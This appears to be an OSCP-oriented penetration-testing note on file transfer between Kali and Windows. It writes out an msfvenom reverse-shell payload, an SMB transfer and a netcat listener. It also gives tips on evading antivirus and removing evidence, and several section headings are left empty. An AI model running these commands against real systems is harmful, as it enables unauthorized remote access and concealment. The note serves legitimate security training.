File Transfer Techniques

Transferring files between your attack machine and target systems is a crucial skill during penetration testing. This document covers various techniques for moving files between Linux and Windows systems.

Linux to Windows File Transfers

Using SMB Server

One of the most reliable methods to transfer files from Kali Linux to Windows is using an SMB server:

# On Kali - Start an SMB server in the current directory
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share_name .

# On Windows - Copy file from the SMB share
copy \\<KALI_IP>\share_name\file.exe C:\destination\file.exe

Example with reverse shell transfer:

  1. Generate a reverse shell executable on Kali:

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=53 -f exe -o reverse.exe
  2. Start SMB server on Kali in the same directory as reverse.exe:

    sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
  3. On Windows, copy the file:

    copy \\<KALI_IP>\kali\reverse.exe C:\PrivEsc\reverse.exe
  4. Set up listener on Kali before executing:

    sudo nc -nvlp 53
  5. Run the executable on Windows:

    C:\PrivEsc\reverse.exe

Using HTTP Server

Another common method is to use a simple HTTP server:

Using FTP Server

FTP can be useful when other methods are blocked:

Windows to Linux File Transfers

Using SMB Server

Using Netcat

Using Base64 Encoding

For small text files, base64 encoding/decoding can be used:

Creating Reverse Shells

Windows Reverse Shells

Linux Reverse Shells

Tips for OSCP

  1. Always have multiple file transfer methods ready - Different environments may block different protocols

  2. Use uncommon ports for reverse shells - Ports like 443, 53, 80 are less likely to be blocked

  3. Create a directory of common payloads before the exam - Save time during the exam

  4. Test your reverse shells before uploading - Make sure they work with your specific IP/port

  5. Be mindful of antivirus - Some transfer methods or payloads may trigger AV detection

Common Issues and Solutions

SMB Connection Refused

  • Ensure you're running the SMB server with sudo

  • Check for firewall rules blocking port 445

  • Try using the -smb2support flag

Antivirus Blocking Transfers

  • Encode or encrypt executables

  • Use alternative transfer methods like Base64

  • Split the file into smaller chunks

Permission Issues

  • Check file permissions after transfer

  • Use icacls on Windows or chmod on Linux to set proper permissions

  • When using SMB, ensure the server allows write access if needed

Remember to clean up your tools and payloads after completing your tasks to avoid leaving evidence behind.

Last updated